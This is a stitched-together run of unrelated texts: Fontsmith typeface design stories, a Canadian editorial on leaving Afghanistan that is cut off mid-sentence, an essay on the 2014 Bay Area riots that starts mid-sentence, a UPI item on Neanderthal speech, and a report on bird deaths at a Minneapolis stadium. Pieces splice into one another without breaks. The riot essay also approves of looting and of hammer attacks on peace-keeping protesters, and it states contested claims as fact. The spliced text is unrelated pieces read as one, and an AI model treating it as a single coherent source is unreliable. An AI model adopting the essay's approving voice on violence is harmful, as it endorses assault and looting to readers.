clever and engaging solutions for logos that will inspire and find their place in the consciousness of the consumer.
FS Clerkenwell The story of a
bit of a geezer
by Phil Garnham
and Jason Smith. What was your vision for Clerkenwell? Jason: For quite a while I had the idea for a clunky, slabby serif with one side flat and one side curved, to lead your eye in and out of a word. Phil and I both started drafting early ideas. Phil’s stuff was a bit overcooked, sometimes burnt! My role in this case was to help Phil simplify things, focus on the best bits and try some new angles. Each time he came back, we got closer to something tangible. Phil was happy in the end and so was I. He compromised and respected my knowledge and I compromised and respected his ideas. Between us the typeface became traditional with modern twists – just like Clerkenwell itself. My mate Ian had left Futurebrand and I commissioned him to do a booklet. We went for a walk around Clerkenwell, listening to conversations overheard on trains and in pubs. We looked at fancy restaurant menus and absorbed the community. He came back with a typographic walk through of Clerkenwell. It was fantastic and really rude in some places. Brilliant. Designers loved it. Where did the idea come from? Phil: In 2003/2004 I’d just finished designing my first formal type exercise, FS Ingrid Italics. I could hardly believe I was a professional typeface designer at the age of 23 – it felt really special and it inspired me to do the best I could. We shared a small space in Northburgh Street, Clerkenwell. The studio space was cold and impersonal until we started putting stuff on the walls and disrupting things. We were on the up. We had momentum off the back of some prestigious custom types for the Post Office and E4. Slab Serifs were on the brink of another revival, we could feel it. All we wanted to do was have a play with these slabs and see what we could come up with. I pushed things further than what most people would consider as an acceptable, readable, slab design. We were very influenced by our surroundings. Outside the studio space, Clerkenwell was our lunchtime, afternoon and evening playground. The post-modern Victorian mash-up of Clerkenwell was well in swing. We absorbed the essence and grime of where we were and this began to flow through our designs. What was the creative process? Phil: I began on-screen drawing ‘I’s or stems, vertical lines with slabs attached. Each one copied and sculpted to achieve a new flavour. My stems merged into ‘n’s, firstly square then moulded to a more organic shape. I admired the shapes of Rockwell and Clarendon. Rockwell seemed too robust and styled; Clarendon seemed too organic and playful. I wanted my slab to sit somewhere between. For me the most important aspect of the font is the upward bend of the leading serif, the way it ramps up and plummets back down the stem, like it’s guiding you through each letter one at a time. How did you promote it? Phil: We both felt there was bit of a geezer in the face of Clerkenwell, he was rough around the edges and ready for a fight. We talked with a good designer friend of ours, Ian Whalley about doing an art-piece to promote the font. We genuinely took the sights and sounds of Clerkenwell, set them in the font and laid them bare in the form of a small book. I think a part of the reason this font has been so successful is because it really does embody the spirit of the place. What do you think will be Clerkenwell’s legacy? Phil: Its arrival was a stake in the ground. It made us appear on the crest of the current trend, it diversified our library offering and put us firmly on the map. Personally for me, it felt like I had arrived as a designer, I could say to people ‘I did that’.
FS Lola The story of
a mixed up
muddled up world
by Phil Garnham. Jason: Phil had been with Fontsmith for two years. He had patience for drawing good crafted curves and a passion for type. Now was the time for Phil to create something for himself, without guidance from me. FS Lola was cared for and nurtured by Phil over about a year. Giving my designers the opportunity to own and take credit for the work they do is very important to me. As designers of whatever discipline, we all need to be proud and ever so slightly egotistical about our work. FS Lola gave Phil that confidence, ownership and pride that we all seek. Where did the idea come from? Phil: I started thinking about Lola in the summer of 2005. Jason was going on a break and his parting words were: ‘You can steer the ship for the next few weeks – take a few phone calls, do a few logo jobs and oh, lets have a few typeface ideas to look over when I get back’. In these earlier days we spent a lot of time perfecting our logo craft so the opportunity to take some time exploring pure type design was not one to miss. When I began the search for Lola I didn’t really know where the 2005 type canon was travelling. So I just drew on-screen: Shapes, curves, lines, blocks, triangles I really just pushed things around, trying to get a feeling or some spark. What was the creative process? Phil: At this point I was still naive in thinking that design could happen on a blank page without an objective. I thought my enthusiasm for shape and form was enough. I learned something; I needed to define a creative process for the marks I was making. I wanted to create something that was beautifully crafted, that had a fast-paced energy in its form but retained a graphic impact. I picked up one of my rigid experimental designs and thought about the organic nature of the hand-lettering logos, trying to work out what the approach could bring to type design. I began chipping away, softening up. FS Lola was my first one hundred per cent ‘Phil Garnham’ creatively-owned typeface. It definitely wasn’t the font Jason would have designed, but it did have something very Fontsmith about it: The feel of the curves and a certain cheekiness. Why Lola? Phil: The working name of Lola was ‘Rigsby’ due to my love of 70’s sitcom character names. But this wasn’t a good fit. Rigsby’s character is agitated, aggressive, and stressed, but the forms of Lola were bold, exaggerated and fluid. I was a bit of a Mod revivalist back in my early twenties, so when it was suggested we name the font ‘Lola’ I was on-board. I love Ray Davies, and he happily approved our use of his lyrics in our advertising. I’m still not sure to this day whether Lola is male or female, which keeps it vital, energised and dancing. What do you think will be Lola’s legacy? Phil: I’m incredibly proud of what Lola has achieved. When I see it used well, I give it a quiet nod. When I see it used badly I love it even more! It’s an odd psychology, I hate to see badly applied type, but when I see it plastered all over posters in a garish way, I take a quiet satisfaction from it.
FS Conrad The story of
a perplexing
journey into art
by Phil Garnham. Where did the idea come from? In 2008 a friend of ours, designer Jon Scott, approached us to investigate how a typeface could take on the aesthetic of one artist’s body of work. Jon runs a not-for-profit art organisation called ‘Measure’ and at the time he was organising a big event for the British artist Conrad Shawcross. Conrad was planning to create a giant mechanical installation entitled ‘Chord’, that explored questions about the human perception of time and I’ve always been incredibly keen to work on projects that broaden my horizons and push me in unexpected directions. Jason and I went to meet Conrad and Jon for a drink one night in the Wheatsheaf pub in Borough Market. Conrad got his sketchbook out and showed us his theories, it was a great evening of Guinness and philosophy. Conrad is a well-respected artist. Put simply, he explores physics and philosophy and presents it to us in sculptural and mechanical form. His work is featured in the Saatchi Gallery as well as many others. The ‘Chord’ installation was created for the Kingsway Tram Subway in Holborn. What was the creative process? I headed over to Conrad’s studio to get a feel for his working environment. I got the impression that he saw type design as a fickle exercise that didn’t deal with the important questions. He struggled to see how typeface design could have any relevance to his art. This was going to be a challenge! Conrad presented me with a pile of rope and a huge diagram of sketches and maths... I had to take a guess at what his sculpture was going to look like. This diagram was my brief: Design a typeface that represents ‘Chord’ and that encapsulates the philosophy of Conrad Shawcross the artist. Where was I going to start with trying to understand his ideas? I dropped straight into his sculptural, tessellated world to see how he viewed shape. I put together 3 experimental concepts, but one stood out as being perfect for the ‘Chord’ structure. The fine linear nature of each typographic module coming together, overlapping and entwining was in complete harmony with the sculpture. I planned my modules on my notebook, drew them on-screen and twisted and turned them to build the machine that is the FS Conrad typeface. This is not a simple headline typeface... it is not a rigid structure. It has varying character widths, it is informed by real typographic insight and proportions so that it actually works as a piece of functioning harmonious type. How did you decide to promote it? Jon wanted to open up the whole project. It was already getting a lot of attention from art critics in the national press and we wanted to add another level of awareness. We got in touch with Phil Baines at Central Saint Martin’s as the College was right next door to the Kingsway subway. We gave him the fonts and set a project/competition for his students to design a poster for the exhibition. After some fierce debate, we picked a winner and Jon set about creating the Chord exhibition identity. The FS Conrad typeface took on a leading role, speaking in tune with both Conrad’s sculpture and philosophy.
FS Me The story
of listening
and learning
by Jason Smith. We developed this really closely with Mencap and essentially we had to pitch for this job. I went in and blew them away with my ideas. I was very adamant that I only wanted to take on the job if I could do it properly, do research and do a good job. I put together a focus group of people from Mencap with various learning difficulties I chatted to them, tried to find out what they liked to look at, what colours they liked, what fonts they thought were good and why. What they thought was best out of various types of fonts. Horrifically for me, they all liked the friendliness of Comic Sans! Hardly an accessible typeface, but hey, that gave me a clue about needing something friendly and approachable, not cold and voiceless. They were a great group of people to talk to. Some were autistic, some had Down's Syndrome, some were deaf and some were partially blind. A varied bunch. We got them to look at each version to pinpoint difficult words and letters, whilst we made small tweaks to get a balance between what’s more recognisable as a letterform and what’s easier to read. We wanted them to make instinctive responses to width, weight and spacing, whilst we paid attention to details such as the length of ascenders and descenders and customised each letter to make it stand out and improve recognition. As usual, the contentious character was the lowercase ‘g’, I seem to remember someone saying: ‘That ‘g’ makes me feel sick!’ It was brilliant and straight to the point! We also took a lot of care with the positive/negative space of the letterforms and how much leading was used in text. We looked at larger, more open letter forms as well as denser, more fitted designs to achieve something clean, clear and distinct. After the typeface was launched. There was a party at the Proud Gallery where members of Mencap with learning disabilities showed photos of their lives at the gallery and cocktails and canapés were abundant. The new identity had just launched and there was a buzz about the typeface. Fontsmith was getting calls every day asking for the new typeface. I was explaining this to people at the gallery that night but complained that everyone thought it was a font for dyslexic people... anyway, long story short, I’m not always the most politically correct in these situations! I’m extremely proud of FS Me, it isn’t quirky or odd looking, doesn’t resemble the childlike design of fridge magnets or early learning tools and is certainly nothing like Comic Sans. It is a first of its kind and stands out as a benchmark in accessibility. I think what’s important here is that accessible design doesn’t have to be cold and characterless, it should be accessible to absolutely everyone. I like to think that FS Me shows that accessible fonts can be nice too.For Canadians, the war we are desperate to forget is finally over. The Canadian flag was lowered in Kabul Wednesday. The approximately 100 Canadian troops remaining in Afghanistan began their long journey home.
Master Cpl. Daniel Choong, left, Cpl. Harry Smiley, centre, and Cpl. Gavin Early take down the Canadian flag for the last time in Afghanistan on Wednesday, bringing an end to 12 years of military involvement in a campaign that cost the lives of 158 soldiers. ( Murray Brewster / THE CANADIAN PRESS )
There were no marching bands, no flowers, no cheering throngs. Journalists present were told that, for security reasons, they could not report on the event until it was well over. Afghanistan is still that dangerous. In Ottawa, the denouement to Canada’s 12-year involvement in the Afghan War produced a government response so low-key as to be almost invisible.
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Prime Minister Stephen Harper chose to be in Vancouver promoting his recently signed free-trade deal with South Korea. He did manage to issue a press release praising the troops. And that was it — the Last Post for the longest war Canada has ever waged. From the start, the Afghan War was a misguided enterprise. It was begun in haste and prosecuted with little thought as to consequences. Ostensibly a war of self-defence, it was entered into with gusto by the U.S. and its allies after the 9/11 attacks on Washington and New York. But eventually and inexorably, it bogged down.
The initial war aim, to capture Al Qaeda mastermind Osama Bin Laden in his Afghan lair, was never achieved. Bin Laden was eventually found not in Afghanistan but in a posh Pakistani suburb. He was killed not by NATO battalions scouring caves but by a handful of U.S. Navy Seals acting on intelligence.
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Meanwhile, as the war ground on, its rationale shifted. Sometimes Ottawa said Canadian troops were there to defeat Taliban “scumbags.” Sometimes it said they were there to prevent terrorists from attacking us here at home. Sometimes it said they were there to better the lot of Afghan women. No government had clean hands. A Liberal government committed Canadian battle troops to Kandahar, in Afghanistan’s deadly south. A Conservative government, with Liberal backing, kept them there for five years. Canadian troops fought bravely. They are a well-trained and professional force. But they were ill-served by political masters who could never quite figure out why we were in this particular war. At times, it seemed as if Canada were taking part simply to burnish its political credentials within NATO. When Canada’s soldiers came home, the government thanked them by cutting their pensions. Many wars are popular in the beginning. Canada’s initial |
Depression. Born to the “end of history,” [w]e have no hope of doing better than our parents did, by almost any measure. We have inherited an economy in stagnation, a ruined environment on the verge of collapse, a political system created by and for the wealthy, skyrocketing inequality, and an emotionally devastating, hyper-atomized culture.”
—Why Riot?
Oakland and the wider Bay Area in general has a reputation of being a working-class city and one with a history of radical organizing, from anarchists to the Black Panther Party to the labor movement. But the terrain is changing, as the tech boom has expanded from San Francisco across the entire region. A series of crises from the crack-cocaine explosion, to waves of foreclosures, the financial meltdown, and the rising cost of living, have all resulted in many residents, largely all people of color, being pushed out. Millennials living in the Bay Area face harsh social and economic realities, which don’t appear to be getting better anytime soon. These conditions, while never acknowledged by the mainstream, were as much a driving part of the riots as the images of police tear-gassing demonstrators in Ferguson.
Thousands of African-Americans and Latinos flocked to cities like San Francisco, Oakland, and Richmond in the boom time during and after World War 2, entering into unionized positions in various trades and industries. The labor movement in the Bay Area was strong, with general strikes breaking out in San Francisco and Oakland in the 30s and 40s. Unions such as the ILWU refused to purge communists and syndicalists, who in turn remained much more entrenched in union politics than in other unions. But as organized labor moved to the Right and pursued a much more collaborationist approach with management, the labor powerhouse that was the Bay Area grew weaker. As a result, wages in relation to the cost of living have fallen continuously and strikes have become less frequent and effective at gaining concessions and raises. In pursuing a policy of social peace with capital, labor lost the power to keep up with wages and protect entitlements and conditions.
San Francisco Maritime Strike 1934. From SF Gate
The flooding of crack-cocaine into the United States, which was orchestrated in part by the US government to help fund the Contra war in Nicaragua, had disastrous effects in cities like Oakland. In black and low-income communities, once prosperous neighborhoods throughout the Bay Area were decimated through drug addiction and poverty. After the financial meltdown in 2008, the foreclosure crisis encouraged large companies to come in and buy up massive amounts of vacant properties, flipping them and making millions. As the tech boom exploded, many people had no where to go but out, and the African-American population of both Oakland and San Francisco fell dramatically.
With few job options, many millennials also face high living costs and few affordable housing opportunities. Rents continue to climb and price out long term residents, police murders frequently take place in nearly every local city, and systems of surveillance track people throughout the city. In short, young people in the Bay Area have much to be angry about. While the revolt might have been in reaction to police violence, it was really about all of these things at once.
Unlike their grandparents’ and parents’ generation, most millennials find themselves not working in unionized positions in industrial factories or in the public sector, but in a variety of service positions, often working several jobs at one time, or relying on the ‘grey-market’ such as Craigslist or weed trimming for income. This is counterpoised by the largely white gentrifying population which generally makes much higher wages and receives much different treatment from local police.
Members of the baby-boom generation were blessed with the right economic timing that allowed them to buy homes for cheap outside of impoverished areas. But most millennials aren’t able to compete with tech workers making over hundred thousand dollars a year, either in the housing or job market. As one woman commented in the Bay View newspaper at a recent demonstration against her impending eviction, “They seem hell-bent on getting all Black families out of our [West Oakland] neighborhood. It doesn’t matter that there are already so few of us – or that they already make billions of dollars.”
The youths involved in the riots aren’t just facing a future of economic uncertainty through low-paying jobs, rising unemployment, and staggering rents, they are also the generation that grew up in a post-Obama world. Promised hope and change, most young people have only seen conditions around them continue to worsen. This despair is aimed just as much at the social movements that sought to change things as the politicians which sought to speak to those concerns: from Occupy to the recent movement against police brutality (including the #BlackLivesMatter). For many youths, both the institutions and the social movements had failed them. The only thing left was to riot.
Seeds of Revolt
On Tuesday, December 9th, when several hundred rioters looted a 7-11 and a Pak-N-Sav only three blocks from my house – as people hung out the sides of vans, wrote graffiti on every imaginable surface, and gave out looted Swishers on the street – I realized this was not a ‘movement’ in the classical sense, it was an explosion of youthful energy. This energy was also not monolithic. One group was breaking windows and looting while right next to them a car with painted slogans gave out free water and other supplies to the rioters. In many ways, a culture of rioting was maturing on the streets of the Bay Area, linking together a diverse crowd across a vast area. But where did this culture come from?
The seeds of the Bay Area revolt were planted not just in Ferguson, but six years ago at a BART Station on New Years Day in 2009, when Oscar Grant was shot and killed. As one young person in a mask screamed while they drove a hammer into a window allowing a mob to flow in and loot on the first night of the riots in Oakland on November 24th, “We do this for Oscar Grant!” The riots and movement kicked off by Grant’s killing were historic because, as Colorlines wrote, “this was the first case in California history in which a police officer was charged with murder for an on-duty shooting.” The riots also happened in the face of attempted containment by non-profit and Leftist groups, a process which continues to this day. The Oscar Grant riots remain a key example of violent action having a clear effect on forcing the hand of the State and lives on in people’s collective consciousness.
Oscar Grant mural in Oakland.
But the movement that broke out in the early days of 2009 in Oakland were important for another reason; it brought in large amounts of youth of color from outside of political and activist scenes. This moment also lead to the formation of the Oakland 100 Committee, an ad hoc group formed by anarchists and other radicals which sought to legally support those arrested during the riots through bailouts, the provision of lawyers, and court support. Over the next few years, the group supported hundreds of arrestees, which contributed to a culture of mutual support of those facing heavy charges and helped normalize a climate where more militant action could be taken and supported.
More than two years later, Occupy Oakland continued to raise the bar, (inspired in part by Occupy Wall Street as well as the Student Occupation movement that took place over a year before), both locally and nationally. In the fall of 2011 and spring of 2012, tens of thousands of participants took part in street battles with the police in attempts to defend and later regain control over a small park in front of Oakland City Hall, dubbed Oscar Grant Plaza by Occupiers. After police nearly fatally hit Iraq War veteran Scott Olsen with a tear-gas canister, more riots began in earnest. On November 2nd, only a week after Olsen was struck, the movement saw its highest point as a General Strike took over the Downtown. More than 50,000 people participated in roving protests and successfully blocked the Port of Oakland, causing millions of dollars in losses. The two key methods of fighting, blockading and rioting, would continue to play themselves out in the struggles to come.
Image of Oscar Grant Plaza from Above. From Bay of Rage.
Throughout the coming year, Downtown Oakland saw the proliferation of rioting through weekly “Fuck the Police” (FTP) marches, combative block parties, and numerous demonstrations, all which used the Downtown core as its battleground. While Occupy Oakland would branch off in the coming months with a series of widely popular BBQs throughout the city, the choice of the Downtown was intelligent for many reasons. It was neutral ground for many of the cities youth, and represented, geographically, a place in the middle of the city where people could come together across the various neighborhoods.
Occupy Oakland was also a cornerstone in generalizing a critique of the police within wider society; a push that began when the camp formerly banned cops from entering it. This style of action carried itself into San Francisco as well, as the Mission District was the scene of numerous riots in 2011 and 2012 in the wake of police shootings. Another grouping that grew out of the Occupy period, the Anti-Repression Committee (ARC), proved to be invaluable in supporting those arrested by the police during street actions, and was built on the experience of the Oakland 100 Committee.
Occupy declined in 2012, but the Bay Area exploded again in 2013 after George Zimmerman was acquitted of the murder of Trayvon Martin. These riots were different from previous ones in two key ways. First, they specifically targeted rapidly gentrifying areas of Oakland. This meant that beyond banks and Starbucks, hip and swanky bars and coffee shops were also attacked and vandalized. Secondly, on the first night of the riots, people shut down the freeway close to Downtown Oakland. This tactic was also taken up by youth in Santa Rosa in the summer of 2014, in protests against the acquittal of a Sheriff who shot and killed Andy Lopez, a 13 year-old Latino boy who was carrying a toy gun.
A month later, massive blockades at the Port of Oakland were successful in stopping the docking of the Israeli company ZIM, in protest of Israel’s continued assault on Gaza, and only further cemented the confidence of people in the strength of stopping capital flows. At the same time as the actions at the Port were happening, Ferguson exploded in the initial wave of riots that occurred when Mike Brown was killed. In Oakland, people marched from the Downtown to Berkeley, attacking police and businesses. Protests continued over the coming days, and demonstrators shut down a freeway on-ramp briefly. By the time the Ferguson rebellion hit, thousands of people had experience in blocking freeways and ports, which is one reason why the tactic was adopted even by the strongest adherents of ‘non-violence.’
Block the Bus protest.
A visualization of the massive displacement caused by the Ellis Act. From Anti-Eviction Mapping Project.
In late 2013 and into 2014, the Bay Area saw ongoing struggles against gentrification and displacement. Taking place mainly in San Francisco and the East Bay, these struggles helped generalize a larger culture of rebellion in the Bay Area that began to target landlords and property management firms. Tactics were diverse, ranging from attempts to stop the eviction of a long running squatted homeless camp close to Berkeley called the Albany Bulb, blockades against eviction, protests outside of tech companies homes, to the blockades of tech company shuttles such as Google.
All of these actions not only brought the eyes of the world to the unfolding housing crisis in the region, but laid the blame firmly on the doorstep of large tech businesses and their often willing accomplices in cleansing formerly working-class and poor neighborhoods predominantly of color: the police. This connection was crystallized in the marches and protests that ensued in the wake of the death of San Francisco security guard, Alex Nieto, killed by SFPD while eating a burrito before work, armed only with a taser. And this tension further intensified in San Francisco in late October, when thousands of Giants fans took to the streets after the team won the World Series, attacking tech shuttles, condo developments, buildings owned by start-ups, and spray painted the names of Michael Brown and Alex Nieto. But the political and anti-police nature of the Giants riot only foreshadowed what lay just around the corner in less than one month’s time.
By the time the riots in November broke out on both sides of the Bay Area, the various gentrifying neighborhoods throughout the region had thus been burned into the minds of thousands of people as enemy territory. While some decried the attacks on coffee shops and wine bars are ‘hurting small businesses,’ others concluded that these actions in themselves pointed to a new intelligence in the riots that sought to move the terrain of struggle into areas that were rapidly/or had been recently gentrified. The East Bay Solidarity Network wrote, “...[G]iven the corresponding rise of upscale establishments, mass displacement, and police violence in the Bay Area, [going after these establishments] may...be a strategic direction for our movements.”
Further contributing to the context of the current rebellion has been recent lawsuits against police that have cost Oakland millions and in theory, legally bound the police to change their tactics. Starting in the summer of 2013, the city began to pay out millions of dollars to those injured by police during the Occupy clashes. $1.7 million was doled out in a settlement with 12 protesters, some of which were injured in 2013. The settlement also forced Oakland police to adhere to their own rules on crowd control, which were constantly broken. In December 2013, $645,000 was paid to a man beaten by a police officer after the General Strike in 2011. Scott Olsen received $4.5 million in May of 2014. Then, in January 2015, it was announced that $1.3 million would go to people who were mass arrested on January 28th, 2012.
These protest settlements are not typical. According to the website, Oakland Police Beat, “...[S]ince 1990, Oakland [has] spent $74 million dollars to settle at least 417 lawsuits accusing its police officers of brutality, misconduct and other civil rights violations.” The reasons for settling as opposed to taking the cases to court are clear: “In settling the cases the city does not admit to wrongdoing. It pays the plaintiff a mutually agreed upon amount of money; in return the plaintiff drops the litigation.” According to the same website, while these lawsuits may have cost the city millions, the police carrying out these violations are some of the Oakland’s most decorated officers. They go on to write that of the “35 officers who have received the most awards and medals: 40 percent were involved in one or more officer-involved shootings … 61 percent were named in civil rights-related lawsuits. At least four were members of the small tactical squads, called Tango Teams, that used chemical agents as well as beanbag and explosive projectiles during violent clashes with Occupy Oakland demonstrators in 2011 and 2012. (Oakland has spent more than $6 million to settle lawsuits stemming from those clashes.)”
In light of such large lawsuits and the bad press they got for their heavy handed clampdown during protests – from Occupy to the Oscar Grant protests – Oakland Police attempted to clean up their image. Before May Day 2012, then Police Chief Howard Jordan stated in a press conference, “We are committed to immediately improving our training, tactics and policies in light of our experiences.”
But Oakland police quickly found a way around their own rules. The use of “mutual aid” between police departments proved invaluable during the Bay Area rebellion in the winter of 2014, leaving the ‘dirty work’ of shooting projectiles to departments such as Hayward and Berkeley or other agencies like the California Highway Patrol (CHP). While the media praised the more “hands-off” Oakland Police, other police departments were more than happy to break bones, shoot tear-gas, and launch concussion grenades.
Year 2014 also saw continued police killings, sex scandals, and storms on social media, along with cop beatings at sports events, on public transportation, and at schools. In 2014 alone, the California Highway Patrol (CHP), who generated much controversy when undercovers pulled guns on demonstrators in late December of the same year, killed at least 4 people. All of these added fuel to the fire of anti-police sentiment and further cemented the divide between much of the of the population and the police.
March of the Millennials
“Severed from the broken family structure and without any people or home to call its own, revolt comes with an iphone in its mouth.”
— Between Predicates, War
Millennials, whether graffiti writers from the roughest neighborhoods of Oakland or recent transplants attending the University in Berkeley, were the driving force of the revolts across the Bay Area. Young people were the backbone of the revolt, and helped cultivate a variety of tactics which pushed it to its most disruptive and destructive extremes.
The Bay Area rebellion that followed Ferguson was remarkably different than in other cities, but it was also different than past Bay Area revolts, in several key instances. Its intensity allowed the riots to last sometimes up to ten hours, often involving several waves of different actors – from students carrying signs for the first time, to old school insurrectionaries. The wide variety of participants showed the degree in which the revolt was extremely generalized, with people joining in from off the street.
As one friend stated, “This is Oakland. If you’re out past 10:00 pm, you’re going to see some real shit.” In an interview on progressive radio station KPFA, an “insurrectionary anarchist,” whose voice had been changed to hide their identity, stated, “Generally these protests hit a point where the people that are interested in ‘sending a message’ rub up against those that want to ‘shut things down.’ Once those people send a message, they go home for the night.” And there was plenty of real shit to see, as each night the crowd seemed set on out-rioting or out-blockading the crowd from the night before; undeterred by police attacks and arrests.
The revolt also changed some people’s attitudes about struggle. One night, when one young woman attempted to move a dumpster out of the street because, as she told me, “It was violent,” I asked her if she wanted the streets to be cleared and allow police free access to the streets like the night before. She replied that she did not, and said, “Sorry, I’m new to this,” and then walked away.
The way in which people dealt with vigilantes in the crowd also pointed toward a heightened intensity of the revolt. The number of vigilantes, also known as the “Peace Police,” was small. Insofar as they can even be considered a group, these people would often state that they simply wanted to preserve the “image” of the movement as peaceful. This lead to extremely bizarre moments, such as groups of white people chanting “Black Lives Matter” while they attempted to tackle black youth looting a Radio Shack. In retribution, several “Peace Police” had their teeth beaten out with hammers or were violently attacked by rioters.
A big portion of those involved in the revolt were young people with no previous involvement in political struggles. This played a huge role in shaping the events. Police attacks on students brought more attention to the riots as suddenly a whole new demographic was getting their first taste of tear-gas. As one man told me while we watched hundreds of people block Highway 24 on December 7th, “They’re not just beating anarchists anymore.” While this in itself fed into media hype of “anarchists” and “criminals” leading the students astray, the police repression also radicalized hundreds of Berkeley and Oakland youth, both on the university campus and in the high schools.
When the rebellion broke out, a small occupation at UC Berkeley was taking place and many of these students were also among the demonstrators. In turn, high school students across Oakland and Berkeley, many of whom were caught up in the riots, also began organizing walk-outs of their schools. When hundreds of Berkeley High School kids walked out of school, they marched on UC Berkeley chanting, “You showed us how!” Without the riots, none of this would have been possible.
The rebellion was extremely mobile and refused any set territory, target, or location. By the third week of the revolt, disturbances were happening daily without any set group even calling for them, as people continued to meet outside of UC Berkeley at the end of Telegraph Ave. If you wanted to fight, you knew where to go.
While rioters would stop at times to attack banks and businesses, loot stores, or block freeways, the pace was almost always one of constant movement. In reality, this was done more to keep from being boxed in or arrested by police than anything else. While on major streets, people generally had free reign. But as soon as people turned down residential roads, police almost always took an opportunity to kettle them. This was seen most powerfully on November 25th, when rioters constructed a huge flaming barricade across Telegraph Ave and then rampaged, but were kettled only hours later on a small side street.
Within the rebellion, I saw the growth of crews of people that were focused primarily on extremely specific activities. These ranged from street fighting with police, writing graffiti, the blockading of freeways, property destruction, and also the looting of stores. Graffiti crews would tag (often writing overtly political and anti-police slogans), anarchists would attack banks or police cars, one group would loot a store, others would hold the streets, a few would guard against vigilantes and undercovers, and more still would push onto a freeway. While one certain group might have stuck to one tactic, the diversity simply just added to the chaos and provided for a multiplicity of actions to take place.
In many ways, graffiti crews were one of the chief protagonists of the winter 2014 clashes, with many writers and crews taking a very active role. One group in particular, Keep Hoods Yours (KHY), a grouping of writers based out of San Francisco, was a mainstay on both sides of the Bay Area during the revolt. The groups name was intended to provoke an anti-gentrification sentiment and the crew also was involved in numerous graffiti bombings of gentrifying businesses in 2014.
Many demonstrators were extremely antagonistic toward organizations that tried to tell the riot what to do. After protests began again in Oakland when the police that killed Eric Garner were let off the hook, a group of activists with the Revolutionary Communist Party (RCP) had their banners and signs taken and destroyed when they attempted to take over and lead a march after a mob of people shut down a BART station. Many were angry at the group who often tried to capitalize on the protests by passing out signs and banners with their website featured prominently. Another communist group, BAMN (By Any Means Necessary) was often shouted down when they tried to direct demonstrations and hold meetings in the streets.
Social media also played a huge role in the Bay Area revolts like never before. Occupy Oakland had a massive Twitter account, but when Occupy took off, they weren’t able to utilize Instagram they way people could this time around: people made small ‘flyers’ that simply stated “FTP” or “ACAB” with dates, times, and addresses. These were then shared through Twitter, Facebook, and Instagram. But their popularity must be understood as a result of many years build-up and actions – people actually knew what was about to go down.
Riots yet to Bloom
“Indeed, some of the poor are so isolated from significant institutional participation that the only contribution they can withhold is that of quiescence in civil life: they can riot.”
—Poor People’s Movements
When you can’t go on; when you can’t reproduce yourself in society, you fight. When you can’t afford tuition, you occupy the university. When you can’t accept bad wages and conditions, you strike. When you can’t afford the high rent, you refuse to pay. When the police shoot down your neighbor in the street, you riot.
In the Bay Area, all these things are happening every day. For a vast majority of the population, there is no future. Tens of thousands of people will be priced out, evicted, and driven from their homes to make way for “progress” and the tech industry invasion. Police beat, harass, and kill people consistently without consequence. The riots and mass upheavals that broke out in the Bay Area starting in the winter of 2014 are a testament to a desperation. They speak to the failure of anything trying to change the situation – from Obama, to the unions, to Occupy.
The riots that break out next time might be even more nihilistic. It is possible people will burn, destroy, and attack those things that immiserate their lives and represent the current order. But they will likely also seek to meet needs directly and break down the separation of people from those needs – taking of land to create food; seizing of buildings, infrastructure, hospitals, and water treatment facilities; taking over of neighborhoods and territories and the expelling of the authorities. This is what I envision riots to look like in the near future because, quite frankly, there is nowhere else for them to go.
Ironically, it is those in power at the helm of politics and the economy that are pushing people from their homes as the urban cores of US cities are transformed; that is in turn leading to the creation of the next set of Fergusons. Just in the last month, police shot and killed people in both Stockton and Antioch, two of the cities with the greatest influx of ex-Oaklanders. As more people are displaced, and as neighborhoods, schools, and workplaces become more segregated and policed, the Bay Area will continue to be further divided along lines of race and class.
The Bay Area culture of rioting isn’t going away anytime soon. As this article was being finished, less than a mile from where I write these words, a young female shoplifting suspect, Yvette Henderson, was shot in the head and killed by local police about a week ago. Her blood and brains splattered across an entire city block. The fire department came to wash it away, but they didn’t get everything – I still saw the remains on the street after I got off work. Close to 100 people gathered that night where she was killed and then marched to the Home Depot she was accused of stealing from. They broke windows and looted flowers that they brought back to the spot where she was shot by police. Holes from the shotguns and other weapons were still open and gaping. Like the looted flowers for the fallen, the riot culture of the Bay Area continues to flourish.KENSINGTON, Australia, Dec. 20 (UPI) -- An analysis of a fossil bone suggests Neanderthals may have had the ability to speak, an Australian researcher says.
Stephen Wroe of the University of New South Wales, working with an international team, says the researchers were able to determine how the Hyoid bone -- a horseshoe shaped structure in the neck -- worked in Neanderthals.
Wroe said the findings are "highly suggestive" of complex speech in Neanderthals.
The hyoid bone is crucial for speech, as it supports the root of the tongue. Non-human primates cannot vocalize as humans do because the hyoid bones are not placed in the right position.
The researchers said analysis of a fossil Neanderthal throat bone using 3-D X-ray imaging and mechanical modeling allowed them to see how it worked in relation to other surrounding bones.
"We would argue that this is a very significant step forward," Wroe told the BBC. "It shows that the [analyzed] hyoid doesn't just look like those of modern humans -- it was used in a very similar way."
Many scientists have held that complex language only evolved about 100,000 years ago and only modern humans were capable of vocalizing complex speech.
"Many would argue that our capacity for speech and language is among the most fundamental of characteristics that makes us human," Wroe said. "If Neanderthals also had language then they were truly human too."The US Bank Stadium in Minneapolis, which opened last June and cost more than $1bn of mostly taxpayer money, is beautiful, large, glassy – and deadly to birds.
A new report from a trio of conservation groups reveals that – for wildlife, at least – vast swathes of the new home of the Minnesota Vikings are indistinguishable from the sky and birds are being killed by flying straight into the stadium’s 200,000 sq ft of gleaming, clear glass.
NFL players claim London nightclub denied them entry for being ‘too urban’ Read more
As CityPages, a local Twin Cities newspaper, put it: “Creatures crash into it like something out of an Alfred Hitchcock movie.”
Over an 11-week period in the autumn, bird enthusiasts undertook regular circuits of the stadium, and discovered 60 dead birds, and another 14 stunned from flying into the glass. The report said that would project to at least 360 deaths over a three-year period, but that number “significantly underestimates true mortality at the stadium complex, because it does not include birds removed by maintenance staff, security guards, and scavengers.”
In 2014, the Audubon Society predicted that the stadium’s distinctive clear glass would prove to be a “death trap” for Minnesota’s local and migratory birds. The society pushed authorities to introduce changes so the birds could distinguish between the stadium and the sky. “We know the people of Minnesota do not want their money killing birds,” the society said.
But the Minnesota Sports Facilities Authority, which owns the stadium, declined to take any steps, such such as installing glass with a visible pattern, as happened at the Javits Center in Manhattan. The Javits changes quickly led a 90% decrease in bird collisions.
Jim Sharpsteen, a volunteer who helped to conduct the stadium study, told CityPages: “We knew that the glass would be highly confusing to the birds. They see a reflection of a blue sky in the glass, they think it’s a blue sky. They see reflections of trees, they think they can land in those reflections of trees. This confirmed what we already believed would be bad.”
Sharpsteen said: “We want them to either replace the glass with a less reflective glass or put a coating on the glass that would make it more bird friendly. I think the more realistic would be to apply coating to the outside of the glass.”
